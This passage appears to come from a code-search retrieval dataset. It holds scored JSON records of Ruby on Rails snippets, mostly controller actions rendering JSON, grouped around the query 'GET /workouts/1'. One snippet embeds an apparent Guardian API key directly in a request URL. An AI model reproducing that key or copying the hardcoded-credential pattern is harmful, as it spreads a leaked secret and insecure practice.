{ "docid": "4505ecd1679da8b4708a395db547afb4", "score": "0.5630417", "text": "def index\n @innovations = Innovation.all\n render json: @innovations.to_json(:include => :category)\n end", "title": "" }, { "docid": "cac010b7ced8a94fe9d15caddaea5657", "score": "0.56296927", "text": "def json_data\n json[:data]\n end", "title": "" }, { "docid": "21096ea5134d03033385f685c2e71b47", "score": "0.56211644", "text": "def new\n @nutrition_client = NutritionClient.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nutrition_client }\n end\n end", "title": "" }, { "docid": "451b16ffddf4da7777e7e3b41aaab00a", "score": "0.56200665", "text": "def json_data\n json[:data]\n end", "title": "" }, { "docid": "2355fa0e20de40e42d7578929e691118", "score": "0.5618967", "text": "def index\n @ubicacions = Ubicacion.all\n render json: @ubicacions, status: :ok\n end", "title": "" }, { "docid": "fa6abb54ce6c108a30f77c178b40046d", "score": "0.56170285", "text": "def index\n @ingredents = Ingredient.all \n render json: @ingredents\n end", "title": "" }, { "docid": "43c3003ad83b0a67c9dc225938af1f04", "score": "0.5598797", "text": "def index\n @inventories = @user.inventories\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @inventories }\n end\n end", "title": "" }, { "docid": "e5d556c828ea0b558f440c0992e128a2", "score": "0.55971646", "text": "def get_data\n parsed_url = URI.parse(@url)\n req = Net::HTTP::Get.new(parsed_url.to_s)\n res = Net::HTTP.start(parsed_url.host, parsed_url.port) {|http| http.request(req)}\n return JSON.parse(res.body)\n end", "title": "" }, { "docid": "24726e1c9c30efbc1920305940fe1b3b", "score": "0.5595922", "text": "def json_data; end", "title": "" }, { "docid": "41d167487311616f1128785c954c92dd", "score": "0.5595215", "text": "def retrieve_data\n # Define the URL\n url = 'http://content.guardianapis.com/search?q=food&api-key=uggudpb34qwz47bxb3rn7e4q&page=1&page-size=50'\n start_date = (Date.today - 7).strftime('%Y-%m-%d')\n end_date = (Date.today).strftime('%Y-%m-%d')\n url += '&from-date=' + start_date + '&to-date=' + end_date\n\n # Define the HTTP object\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n\n # Get the response\n response = http.get(uri)\n\n # Parse the response body\n forecast = JSON.parse(response.body)\n\n # Start parsing\n forecast['response']['results'].each do |each_article|\n # If the title of thie article matches the title of the last saved article,\n # stop scraping to avoid from saving duplicates in database\n break if !@last_title.nil? && @last_title.eql?(each_article['webTitle'])\n\n # If thie article is already stored then ignore\n next if Article.find_by(title: each_article['webTitle'])\n\n # Make a template dictionary to put in @articles\n temp = {\n author: nil,\n title: each_article['webTitle'],\n summary: nil,\n image: nil,\n date_time: DateTime.parse(each_article['webPublicationDate'].to_s),\n link: each_article['webUrl'],\n categories: each_article['sectionId']\n }\n\n # put this article into the array of articles\n @articles << temp\n end\n end", "title": "" }, { "docid": "3d5905c2c8ed910e245a36a114c15478", "score": "0.55928344", "text": "def show\n response = HTTP.get(\"https://developer.nps.gov/api/v1/parks?parkCode=#{params[:parkCode]}&api_key=#{Rails.application.credentials.nps_api_key}\")\n park = response.parse[\"data\"]\n render json: park\n end", "title": "" }, { "docid": "920960c62e30a09c6de99bbe3801ace4", "score": "0.55879474", "text": "def index\n @patient = Patient.find(params[:patient_id])\n @patient_injuries = @patient.patient_injuries\n @title = \"Patient Histories\"\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @patient_injuries }\n end\n end", "title": "" }, { "docid": "e0fc96feaed9e96bbb98d1ef8ca81738", "score": "0.55865103", "text": "def index\n @divings = Diving.all\n\n render json: @divings\n end", "title": "" }, { "docid": "f6d2d4000840fb5d94342af3baff03ad", "score": "0.55846447", "text": "def show\n @data = @unit.read(params[:id])\n render json: @data\n end", "title": "" }, { "docid": "cea21ba0d8fc5289dd5b435f517928bf", "score": "0.5582845", "text": "def visualize_recipe_nutrition_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: RecipesApi.visualize_recipe_nutrition ...'\n end\n allowable_values = [\"application/x-www-form-urlencoded\", \"application/json\", \"multipart/form-data\"]\n if @api_client.config.client_side_validation && opts[:'content_type'] && !allowable_values.include?(opts[:'content_type'])\n fail ArgumentError, \"invalid value for \\\"content_type\\\", must be one of #{allowable_values}\"\n end\n allowable_values = [\"application/json\", \"text/html\", \"media/*\"]\n if @api_client.config.client_side_validation && opts[:'accept'] && !allowable_values.include?(opts[:'accept'])\n fail ArgumentError, \"invalid value for \\\"accept\\\", must be one of #{allowable_values}\"\n end\n allowable_values = [\"en\", \"de\"]\n if @api_client.config.client_side_validation && opts[:'language'] && !allowable_values.include?(opts[:'language'])\n fail ArgumentError, \"invalid value for \\\"language\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/recipes/visualizeNutrition'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'language'] = opts[:'language'] if !opts[:'language'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['text/html'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'Content-Type'] = opts[:'content_type'] if !opts[:'content_type'].nil?\n header_params[:'Accept'] = opts[:'accept'] if !opts[:'accept'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'String'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['apiKeyScheme']\n\n new_options = opts.merge(\n :operation => :\"RecipesApi.visualize_recipe_nutrition\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RecipesApi#visualize_recipe_nutrition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "cd3832d583aa8d0d75fc666a2f3c37ba", "score": "0.55746925", "text": "def index\n @prescriptions = Prescription.all\n render json: @prescriptions\n end", "title": "" }, { "docid": "70e4c1ae9a5ab46154610e0200dc8ddd", "score": "0.5574115", "text": "def fetch_data(url)\n response = RestClient.get(url)\n book_data = JSON.parse(response)\nend", "title": "" }, { "docid": "10c54dd62ea6b47b5b8f6515f4d7c0cc", "score": "0.5573876", "text": "def getCounchDBData \n url = URI.parse(\"http://con.iriscouch.com/_utils/\") \n server = Couch::Server.new(url.host, url.port) \n res = server.get(\"/conferences/count\") \n json = res.body \n json = JSON.parse(json) \nend", "title": "" }, { "docid": "d602995bd4674b3368ac7d43cf0b9e06", "score": "0.55738306", "text": "def get\n respond_to do |format|\n format.json { render json: @drug.as_json } \n end\n end", "title": "" } ]
f9b956f746707d3fc4751a3a322626e4
GET /workouts/1 GET /workouts/1.json
[ { "docid": "0625c2433416f3ae2b7e99edc516dd29", "score": "0.75218934", "text": "def show\n @workout = Workout.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @workout }\n end\n end", "title": "" } ]
[ { "docid": "cc817e66d12315976416fb0b61014beb", "score": "0.80446106", "text": "def index\n @workouts = @user.workouts\n render json: @workouts\n end", "title": "" }, { "docid": "6a0430f7e0e3758002c6f44065bc2a6c", "score": "0.76467335", "text": "def show\n render json: { workout: Workout.find(params[:id]) }\n end", "title": "" }, { "docid": "9ebe84e935e5a51d948b3008560e69f8", "score": "0.7521915", "text": "def index\n @workouts = Workout.all\n end", "title": "" }, { "docid": "9ebe84e935e5a51d948b3008560e69f8", "score": "0.7521915", "text": "def index\n @workouts = Workout.all\n end", "title": "" }, { "docid": "9cb648c98944625048a0a95125106332", "score": "0.73984826", "text": "def show\n\t\t@workout = @user.workouts.find(params[:id])\n\tend", "title": "" }, { "docid": "d8045bca265bb72922213b2ecf0d4b17", "score": "0.7318799", "text": "def index\n @workout = Workout.new\n @workouts = Workout.all\n end", "title": "" }, { "docid": "e21c225ce13b21a1da41ba13e19009ae", "score": "0.73148435", "text": "def index\n if params[:ids]\n @workouts = @workouts.where(id: params[:ids])\n else\n offset = (params[:offset] || 0).to_i\n count = (params[:count] || 2).to_i\n range_type = params[:range_type] || 'weekly'\n @workouts = paginated_workouts(offset, range_type, count)\n end\n\n render json: @workouts, status: 200\n end", "title": "" }, { "docid": "4eec9cf5cf0a5f77e54a81b812fa1cf6", "score": "0.7215773", "text": "def index\n @title = 'Workouts'\n @officialWorkouts = Workout.select_official_workouts.ordered\n @customWorkouts = current_user.workouts.ordered\n @workouts = @officialWorkouts + @customWorkouts\n end", "title": "" }, { "docid": "2cab6dff54c07753a76b3b92d5c3f609", "score": "0.7174613", "text": "def create\n @workout = Workout.new(workout_params)\n @workouts = Workout.all\n\n respond_to do |format|\n if @workout.save\n format.html { redirect_to workouts_url, notice: 'Workout was successfully created.' }\n format.json { render json: @workout.attributes }\n else\n format.html { render action: 'index' }\n format.json { render json: @workout.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a7b02b4f6b3a9fcfdc1748229dd2b6af", "score": "0.71603113", "text": "def index\n @client_workouts = ClientWorkout.all\n end", "title": "" }, { "docid": "c60265fa2bc700d23f8f5c1e255b6194", "score": "0.714541", "text": "def index\n @user_workouts = UserWorkout.all\n end", "title": "" }, { "docid": "086586bfb9d75b3fa21a5a01864abff8", "score": "0.7144159", "text": "def index\n @workouts = current_user.workouts(:include => :custom_fields)\n @custom_fields = current_user.custom_fields\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @workouts }\n end\n end", "title": "" }, { "docid": "b2ecc9edcfe3145f5c708cad95650aff", "score": "0.7138898", "text": "def index\n @workout_exercises = WorkoutExercise.all\n\n render json: @plan_workout\n end", "title": "" }, { "docid": "d556f0e819a8fa9463f093072889d3e7", "score": "0.7136196", "text": "def index\n @plan_workouts = PlanWorkout.where(:plan_id => @plan.id)\n\n render json: @plan_workouts\n end", "title": "" }, { "docid": "31cecda3c8b6e97811f4178eb83f4678", "score": "0.7130678", "text": "def show\n @user_workout = UserWorkout.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_workout }\n end\n end", "title": "" }, { "docid": "94620186e774bc3fb6719442d2dcf309", "score": "0.7122435", "text": "def index\n @profile_workouts = ProfileWorkout.all\n end", "title": "" }, { "docid": "32e383e22589db61dd5b597cdfb5109d", "score": "0.7104903", "text": "def index\n @workouts = Workout.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @workouts }\n end\n end", "title": "" }, { "docid": "3b9994e092b3a711b726732d0c5b670f", "score": "0.70962316", "text": "def index\n @users_workouts = UsersWorkout.all\n end", "title": "" }, { "docid": "c64005a35ea2c347eb8c95a4ac3282b5", "score": "0.70862466", "text": "def new\n @workout_session = WorkoutSession.new\n @workouts = Workout.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @workout_session }\n end\n end", "title": "" }, { "docid": "7503d000881dcf19aed63d42f4aec7c5", "score": "0.70714885", "text": "def index\n @workouts = Workout.paginate(page: params[:page], per_page: 5)\n end", "title": "" }, { "docid": "74d349d8371a88bb7b282707985c7f3b", "score": "0.7054591", "text": "def show\n @workout_record = WorkoutRecord.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @workout_record }\n end\n end", "title": "" }, { "docid": "1d0c07bf1560027ce11b91e51e3d63a4", "score": "0.7012071", "text": "def index\n @workouts = current_user.workouts\n @beginner_workout =current_user.workouts.beginner\n end", "title": "" }, { "docid": "6c9edab2acf123285fd4186dea7eaea2", "score": "0.7003068", "text": "def index\n @workouts = Workout.order(\"created_at desc\").all\n end", "title": "" }, { "docid": "c68d9d1b9b10e13cb68d15621174a917", "score": "0.6899691", "text": "def show\n render json: @workout_exercise\n end", "title": "" }, { "docid": "7a03e64ce80b9862c7bdb73af2784e0c", "score": "0.68913585", "text": "def show\n @workout_session = WorkoutSession.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @workout_session }\n end\n end", "title": "" }, { "docid": "6814326ba3ce0d7ecd0e0fd0982b7c08", "score": "0.68804127", "text": "def index\n if params[:user_id]\n @user = User.find(params[:user_id])\n @workouts = @user.workouts.order(\"created_at DESC\")\n else \n @workouts = Workout.all.order(\"created_at DESC\")\n end\n respond_to do |format|\n format.html { render :index } # Render post in HTML format\n format.json { render json: @workouts} # Render post in JSON format\n end \nend", "title": "" }, { "docid": "b032fa424ece610fe9048b08a210eab0", "score": "0.6854112", "text": "def show\n @chosen_workout = ChosenWorkout.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chosen_workout }\n end\n end", "title": "" }, { "docid": "8670e99f84eb3dcf241d005de0dc88a2", "score": "0.6827315", "text": "def index\n if logged_in?\n workouts = current_user.all\n workoutsHashed = workouts.map do |workout|\n workout.full_hash\n end\n render json: workoutsHashed\n else\n workouts = Workout.all\n workoutsHashed = workouts.map do |workout|\n workout.full_hash\n end\n render json: workoutsHashed\n end\n\n end", "title": "" }, { "docid": "8edfd596da43656cf90adc865a05a2cf", "score": "0.681623", "text": "def show\n @workout_level = WorkoutLevel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @workout_level }\n end\n end", "title": "" }, { "docid": "2b3a97befe3394acf5b374d2b850e235", "score": "0.6801915", "text": "def index\n # @workouts = Workout.current_user.all\n # @workouts = Workout.where(user: => current_user).all\n @workouts = Workout.where(user_id: current_user).all\n # @workouts = current_user.workouts\n end", "title": "" }, { "docid": "d0b2e2d3f78269612005905b312a6b81", "score": "0.67938644", "text": "def show\n @workout_type = WorkoutType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @workout_type }\n end\n end", "title": "" }, { "docid": "03dda7710edfeec487f878d6cf083770", "score": "0.6781551", "text": "def index\n\t\t@workouts = Workout.where(user: @user).all.order(created_at: :desc)\n\tend", "title": "" }, { "docid": "0a6cfdcfae749733303521cd79bf1794", "score": "0.67632264", "text": "def index\n \n @works = Work.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @works}\n end\n\n end", "title": "" }, { "docid": "6642c10278ca821d72821b9183072249", "score": "0.6750797", "text": "def new\n\n @workout = Workout.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @workout }\n end\n end", "title": "" }, { "docid": "4e432ab0cf91c70e8989528b7cf42e25", "score": "0.67446226", "text": "def new\n @workout = Workout.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @workout }\n end\n end", "title": "" }, { "docid": "4e432ab0cf91c70e8989528b7cf42e25", "score": "0.67446226", "text": "def new\n @workout = Workout.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @workout }\n end\n end", "title": "" }, { "docid": "4e432ab0cf91c70e8989528b7cf42e25", "score": "0.67446226", "text": "def new\n @workout = Workout.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @workout }\n end\n end", "title": "" }, { "docid": "207dabf2ebe89596203bf35acf67d2f0", "score": "0.67307997", "text": "def index\n @works = Work.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @works }\n end\n end", "title": "" }, { "docid": "477847b1150d0e831ca147fd738f1a4c", "score": "0.66784346", "text": "def index\n if params[:tag]\n @workouts = Workout.tagged_with(params[:tag])\n else\n @workouts = Workout.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @workouts }\n end\n end\nend", "title": "" }, { "docid": "798682f93bb5c10913e7c038e50e2435", "score": "0.6677361", "text": "def index\n @workouts = Workout.order created_at: :desc\n end", "title": "" }, { "docid": "c24c7e6646c53007cfb4f88251224560", "score": "0.6640262", "text": "def create\n @workout = Workout.new(workout_params)\n\n respond_to do |format|\n if @workout.save\n currntUser.workouts << @workout\n format.json { render :show, status: :created, location: @workout }\n else\n format.json { render json: @workout.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d02c339c8e9626be353602d56a84f98d", "score": "0.66348016", "text": "def show\n\t\tunless params[:user_id]\n\t\t\t@joined_workouts = @workout.joined_workouts\n\t\t\trender :json => {:workout => @workout, :joined_workouts => @joined_workouts.map {|jw| [jw, jw.user] }, :owner => @workout.user}\n\t\telse\n\t\t\t#owner call\n\t\t\tif params[:user_id].to_i == @workout.user.id\n\t\t\t\t@joined_workouts = @workout.joined_workouts\n\t\t\t\trender :json => {:workout => @workout, :joined_workouts => @joined_workouts.map {|jw| [jw, jw.user] }, :owner => @workout.user}\n\t\t\t#accepted user call\n\t\t\telsif @workout.joined_workouts.accepted_users.map{|jw| jw.user.id }.include?(params[:user_id].to_i)\n\t\t\t\t@joined_workouts = @workout.joined_workouts.accepted_users\n\t\t\t\trender :json => {:workout => @workout, :joined_workouts => @joined_workouts.map {|jw| [jw, jw.user] }, :owner => @workout.user}\n\t\t\t#unaccepted user call\n\t\t\telsif @workout.joined_workouts.unaccepted_users.map{|jw| jw.user.id }.include?(params[:user_id].to_i)\n\t\t\t\t@joined_workouts = @workout.joined_workouts.where(\"user_id=? OR user_id=?\", params[:user_id].to_i, @workout.user.id)\n\t\t\t\trender :json => {:workout => @workout, :joined_workouts => @joined_workouts.map {|jw| [jw, jw.user] }, :owner => @workout.user}\n\t\t\t#stranger call\n\t\t\telse\n\t\t\t\t@joined_workouts = @workout.joined_workouts.where(workout_id: @workout.id, user_id: @workout.user.id)\n\t\t\t\trender :json => {:workout => @workout, :joined_workouts => @joined_workouts.map {|jw| [jw, jw.user] }, :owner => @workout.user}\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "537eae11d5f665ab3b2877a5c1210c31", "score": "0.66291153", "text": "def show\n if @workout_offering\n @workout = @workout_offering.workout\n @exs = @workout.exercises\n end\n render 'workouts/show'\n end", "title": "" }, { "docid": "d12f599a248ddcc428095c5606a72952", "score": "0.6626596", "text": "def index\n @workouts_exercises = WorkoutsExercise.all\n end", "title": "" }, { "docid": "d64921ea498718ca3bead342e1473cd2", "score": "0.66233057", "text": "def workouts()\n sql = \"SELECT workouts.*\n FROM workouts\n INNER JOIN gym_classes\n ON workouts.id = gym_classes.workout_id\n INNER JOIN bookings\n ON bookings.gym_class_id = gym_classes.id\n WHERE bookings.member_id = $1\"\n values = [@id]\n workout_data = SqlRunner.run(sql, values)\n return Workout.map_items(workout_data)\n end", "title": "" }, { "docid": "c7d467b737873bde2c37e583bced6d55", "score": "0.6622133", "text": "def index\n # if user is not admin then we want to get just hist workouts\n if is_admin?\n if own_only?\n @workouts = current_user.workouts.load\n else\n @workouts = Workout.all\n end\n else\n #@workouts = Workout.unscoped.where(user_id: current_user.id).load\n @workouts = current_user.workouts\n end\n end", "title": "" }, { "docid": "12c83f02eb365420d44cebad517b3c6c", "score": "0.660537", "text": "def index\n @workoutlogs = Workoutlog.all\n end", "title": "" }, { "docid": "4a0d21d60485e0a753d221ed524c2d40", "score": "0.65966874", "text": "def show\n @workout = Workout.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @workout }\n end\n end", "title": "" }, { "docid": "4a0d21d60485e0a753d221ed524c2d40", "score": "0.65966874", "text": "def show\n @workout = Workout.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @workout }\n end\n end", "title": "" }, { "docid": "4a0d21d60485e0a753d221ed524c2d40", "score": "0.65966874", "text": "def show\n @workout = Workout.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @workout }\n end\n end", "title": "" }, { "docid": "5ed71d195d676d0ca715d00e150a254a", "score": "0.65879005", "text": "def index\n @workings = Working.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @workings }\n end\n end", "title": "" }, { "docid": "cdf2b851b93ca217cbf070860ebd7e3f", "score": "0.6584751", "text": "def index\n @workdetails = Workdetail.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @workdetails }\n end\n end", "title": "" }, { "docid": "2d97e5b04c8eff546e00667b01ba1df9", "score": "0.65567106", "text": "def index\n @workouts = Workout.user_workouts(current_user).order(params[:sort])\n end", "title": "" }, { "docid": "5e93e1874a9aac02e4254f5274e1730c", "score": "0.65519226", "text": "def show\n @our_work = OurWork.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @our_work }\n end\n end", "title": "" }, { "docid": "7be8d9de31c3bf4de4c326eb45e8b782", "score": "0.6536639", "text": "def index\n @weekdays_workouts = WeekdaysWorkout.all\n end", "title": "" }, { "docid": "b15575a23d6d705f3992ffa112ff1896", "score": "0.6527612", "text": "def create\n new_workout = Workout.create workout_params\n render json: { workout: new_workout }\n end", "title": "" }, { "docid": "6f03c47bd08f545664df38df627af92f", "score": "0.6525865", "text": "def index\n @workout_items = WorkoutItem.all\n end", "title": "" }, { "docid": "d1ad2a8988b0355c6ff38efa8aeb09fe", "score": "0.6517047", "text": "def index\n @work_hours = WorkHour.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @work_hours }\n end\n end", "title": "" }, { "docid": "20a5401df5a370e72238488b55c41024", "score": "0.65163326", "text": "def get_workout(workout_id)\n @mmr_client.workout(workout_id: workout_id, field_set: \"time_series\")\nend", "title": "" }, { "docid": "3531cc103e3e8d78d1c6b40adf44c28f", "score": "0.6509585", "text": "def index\n @workouts = current_user.workouts.order(date_of: :desc, created_at: :desc)\n end", "title": "" }, { "docid": "6d414b7f0b6b086ca943ad0ea69aa661", "score": "0.6506618", "text": "def get_workouts(userid, opts = {})\n opts.merge!({\n action: 'getworkouts',\n userid: userid\n })\n response = @client.get(build_path_and_params('/v2/measure', opts))\n parse_response(response)\n end", "title": "" }, { "docid": "ba48af5979c487a01860799fce2bee32", "score": "0.6500937", "text": "def show\n render json: @plan_workout\n end", "title": "" }, { "docid": "1764f7cce51ea2a768b10eea5fd87ea9", "score": "0.64945334", "text": "def index\n if cannot? :index, Workout\n redirect_to root_path,\n notice: 'Unauthorized to view all workouts' and return\n end\n @workouts = []\n @gym = []\n end", "title": "" }, { "docid": "5e55e0f5556909cc07146768e8208750", "score": "0.6455179", "text": "def show\n\n @work = Work.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work}\n end\n end", "title": "" }, { "docid": "01a1f63be9fc8f0c721ecd7ffface173", "score": "0.64545184", "text": "def index\n @workouts = current_user.workouts\n @workout_by_date = @workouts.group_by(&:date)\n @date = params[:date] ? Date.parse(params[:date]) : Date.today\n end", "title": "" }, { "docid": "9832e9235bf56a1e2f2bba87d3d5dc2d", "score": "0.6440086", "text": "def create\n @workout = current_user.workouts.new(workout_params)\n\n respond_to do |format|\n if @workout.save\n format.html { redirect_to workouts_path, notice: 'Workout was successfully created.' }\n format.json { render :show, status: :created, location: @workout }\n else\n format.html { render :new }\n format.json { render json: @workout.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "95cb4aa2efdb82c7c04c31d1ef456fc9", "score": "0.64392674", "text": "def show\n @workout_history = @workout_session.workout_history\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @workout_history }\n end\n end", "title": "" }, { "docid": "8585b60ece1fb06b6b0db70d32c20b0a", "score": "0.64346457", "text": "def show\n @work = Work.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @work }\n end\n end", "title": "" }, { "docid": "f89f04fd13c2621814451f955c47f500", "score": "0.641296", "text": "def index\n @date = Date.parse(params[:date]) unless params[:date].nil?\n @date ||= Date.today\n\n # Get workouts ranging from 3 days ago to 10 days in advance => 2 week window.\n # TODO: User should be able to select calendar mode - fixed 2 weeks, month, week etc.\n first = 3.day.ago(@date)\n last = 10.day.from_now(@date)\n\n @workouts = create_workouts_hash(first, last)\n\n # Add class to each: past, today, future\n @workouts.each do |hash|\n if hash[:date].today?\n hash[:class] = \"today\"\n elsif hash[:date].past?\n hash[:class] = \"past\"\n else\n hash[:class] = \"future\"\n end\n end\n\n # Sort the days into weeks\n @workouts = @workouts.in_groups_of(7)\n\n days = %w(Sunday Monday Tuesday Wednesday Thursday Friday Saturday)\n # Get the list of days of the week, only need the first 7\n @days_of_week = (first..last).collect {|x| days[x.wday]}.uniq\n\n # Calendar navigation\n @next_group = 14.days.from_now(@date)\n @prev_group = 14.days.ago(@date)\n end", "title": "" }, { "docid": "81d3b2cd872ec62337183017afe3bdbd", "score": "0.6412402", "text": "def index\n\t\t@user = User.find(params[:user_id].to_i)\n\t\t#wierd error, database gets angry when putting order clause before second statement\n\t\t@user_workouts = Workout.all.current.joined_by(@user.id)#.chronological\n\t\t@other_workouts = Workout.all.current.where.not(id: @user_workouts.pluck(:id)).chronological\n\t\t#@workouts = Workout.all.chronological.current\n\t\trender :json => { :user_workouts => @user_workouts.chronological, :other_workouts => @other_workouts }\n\tend", "title": "" }, { "docid": "8f255252f55f77e1cf8c085bee33a42c", "score": "0.64020735", "text": "def show\n @workout = Workout.select_official_workouts.find_by_id(params[:id])\n unless @workout\n @workout = current_user.workouts.find_by_id(params[:id])\n end\n unless @workout\n flash[:error] = \"You do not have permission to view this workout\"\n redirect_to :action => 'index'\n return\n end\n @title = \"Workout - #{@workout.name}\"\n end", "title": "" }, { "docid": "8f255252f55f77e1cf8c085bee33a42c", "score": "0.64020735", "text": "def show\n @workout = Workout.select_official_workouts.find_by_id(params[:id])\n unless @workout\n @workout = current_user.workouts.find_by_id(params[:id])\n end\n unless @workout\n flash[:error] = \"You do not have permission to view this workout\"\n redirect_to :action => 'index'\n return\n end\n @title = \"Workout - #{@workout.name}\"\n end", "title": "" }, { "docid": "def121c84cadb8f9e67d51d3607bf15f", "score": "0.6398564", "text": "def index\n @work_intervals = WorkInterval.where{project_id == my{@project.id}}.where{entry_id == my{@entry.id}}\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @work_intervals }\n end\n end", "title": "" }, { "docid": "d6085f543ba4e994c8838364aea04008", "score": "0.639792", "text": "def update\n this_workout = Workout.find params[:id]\n this_workout.update workout_params\n render json: { workout: this_workout }\n end", "title": "" }, { "docid": "d7990d8e7abbc2707c38fa08ddb9ca09", "score": "0.6395984", "text": "def set_workout\n @workout = Workout.find(params[:id])\n end", "title": "" }, { "docid": "d7990d8e7abbc2707c38fa08ddb9ca09", "score": "0.6395984", "text": "def set_workout\n @workout = Workout.find(params[:id])\n end", "title": "" }, { "docid": "0a640235106f76685e8b44268e4697e6", "score": "0.6384666", "text": "def index\n @homeworks = Homework.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @homeworks }\n end\n end", "title": "" }, { "docid": "0a640235106f76685e8b44268e4697e6", "score": "0.6384666", "text": "def index\n @homeworks = Homework.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @homeworks }\n end\n end", "title": "" }, { "docid": "2682930bcdb4cc29f954657be9bf42a4", "score": "0.63724697", "text": "def show\n @workdetail = Workdetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @workdetail }\n end\n end", "title": "" }, { "docid": "3cc61908df92ff59298120487d29d955", "score": "0.6372306", "text": "def createWorkout\n data = workout_params\n user = User.find_by(id: params[:id])\n newWorkout = Workout.create\n newWorkout.user_id = params[:id]\n newWorkout.routine_type = data[:routine_type]\n newWorkout.workout_date = Time.now()\n newWorkout.save\n data[:exercises].map do |workoutExercise|\n exercise = Exercise.find_by(name: workoutExercise[:name])\n newWorkoutExercise = WorkoutExercise.create\n newWorkoutExercise.exercise_id = exercise.id\n newWorkoutExercise.workout_id = newWorkout.id\n newWorkoutExercise.tier = workoutExercise[:tier]\n newWorkoutExercise.weight = workoutExercise[:weight]\n newWorkoutExercise.reps = workoutExercise[:reps]\n newWorkoutExercise.numSets = workoutExercise[:numSets]\n newWorkoutExercise.setInfo = workoutExercise[:setInfo]\n newWorkoutExercise.save\n end\n render json: WorkoutSerializer.new(newWorkout)\n end", "title": "" }, { "docid": "cdadf37872095813bb38816e5f87884f", "score": "0.6370761", "text": "def index\n @q = Workout.where('user_id > 0').order('created_at DESC' ).search(params[:q])\n @workouts = @q.result(distinct: true).page(params[:page_2])\n\n @r = Workout.where(user_id: nil).order('created_at DESC' ).search(params[:q])\n @templates = @r.result(distinct: true).page(params[:page])\n\n @template_count = Workout.where(user_id: nil).count\n @client_workout_count = Workout.where('user_id > 0').count\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @workouts }\n end\n end", "title": "" }, { "docid": "36f04377a724b1f2f01f401faf1e7c0a", "score": "0.6367709", "text": "def index\n @details = Workoutdetail.includes(:movement, :workout).where(workout_id: params[:workout_id]).pluck_to_hash(:workout_name, :workout_date, :difficulty, :movement_id, :movement_name, :rec_rep, :rec_set, :rec_duration, :location, :time)\n render json: @details\n end", "title": "" }, { "docid": "c2cd16c6cd9319475cd26e6977a52476", "score": "0.63669044", "text": "def show\n @homework = Homework.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @homework }\n end\n end", "title": "" }, { "docid": "c2cd16c6cd9319475cd26e6977a52476", "score": "0.63669044", "text": "def show\n @homework = Homework.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @homework }\n end\n end", "title": "" }, { "docid": "c2cd16c6cd9319475cd26e6977a52476", "score": "0.63669044", "text": "def show\n @homework = Homework.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @homework }\n end\n end", "title": "" }, { "docid": "693f66765606b7b0c94c00d26d6bfa27", "score": 